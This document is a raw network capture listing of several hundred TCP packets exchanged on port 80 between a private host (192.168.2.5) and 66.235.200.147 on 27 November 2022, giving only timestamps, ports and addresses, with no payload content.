Nov 27, 2022 04:36:43.030544043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030548096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030565977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030581951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030582905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030601978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030616999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030618906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030637980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030653954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030654907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030673981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030687094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030692101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030710936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030725002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030730963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030749083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030761003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030766964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030785084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030791044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030802965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030841112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030859947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030869007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030889988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030895948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030911922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030931950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030951977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030962944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030972004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.030981064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.030992985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031011105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031023979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031029940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031049967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031059027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031069994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031088114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031092882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031106949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031125069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031137943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031142950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031162977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031178951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031181097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031202078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031208038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031220913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031238079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031250000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031256914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031276941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031290054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031296015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031315088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031333923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031342983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031352043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031371117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031373024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031394005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031409979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031413078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031431913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031446934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031452894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031471014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031483889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031491041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031510115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031527042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031527996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031546116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031562090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031567097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031586885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031589031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031605005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031624079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031635046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031641960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031661987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031671047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031682014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031702042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031719923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031729937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031738997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031752110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031758070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031775951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031790972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031795025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031814098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031830072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031833887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031852961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031872034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031889915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031898975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031908035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031924963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031928062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031940937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.031948090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031965971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031985044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.031987906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032004118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032021046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032022953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032054901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032071114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032071114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032092094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032109976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032121897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032126904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032145023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032162905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032181978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032198906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032200098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032218933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032237053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032248974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032248974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032255888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032274961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032277107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032293081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032311916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032316923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032316923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032330036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032337904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032337904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032349110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032356024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032367945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032377958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032399893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032404900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032423973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032432079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032444000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032447100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032461882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032463074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032480001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032491922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032500029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032507896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032519102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032527924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032538891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032543898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032557964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032562017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032577038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032588005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032594919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032603979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032613993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032622099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032633066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032636881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032654047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032672882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032676935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032691956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032701969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032712936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032728910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032730103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032749891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032764912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032766104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032768965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032783031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032790899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032802105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032809973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032815933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032831907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032841921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032855034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032870054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032875061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032886982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032895088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032901049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032915115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032928944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032933950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032942057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032954931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032963037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032973051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032983065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.032994032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.032999992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033013105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033019066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033034086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033036947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033054113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033071995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033071995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033087015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033092976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033102036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033111095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033123970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033133030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033142090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033153057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033169985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033170938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033186913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033200026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033201933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033216953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033219099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033237934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033250093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033256054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033271074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033277035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033288956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033296108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033314943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033318996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033334017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033334017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033353090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033354044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033370972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033370972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033386946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033391953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033404112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033411026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033427954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033428907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033442974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033449888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033457041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033469915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033484936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033488989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033508062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033524990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033545017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033562899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033581018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033597946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033611059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033611059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033611059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033611059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033611059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033611059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033615112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033638954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033646107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033658028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033664942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033675909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033689976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033696890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033715963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033720016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033735037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033735037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033746958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033754110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033766031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033773899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033785105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033793926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033801079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033813000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033818960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033832073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033843040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033853054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033864021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033870935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033880949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033890009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033900023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033910036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033917904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033929110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033932924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033948898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033958912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033967018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.033973932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.033986092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034003973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034003973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034018040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034024954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034043074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034045935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034059048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034060001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034077883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034080982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034096003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034101009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034113884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034120083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034130096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034138918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034147024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034158945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034168959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034178972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034184933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034198046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034210920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034216881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034223080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034235954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034240007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034254074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034262896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034275055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034279108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034296036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034303904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034315109 CET	80	49705	66.235.200.147	192.168.2.5
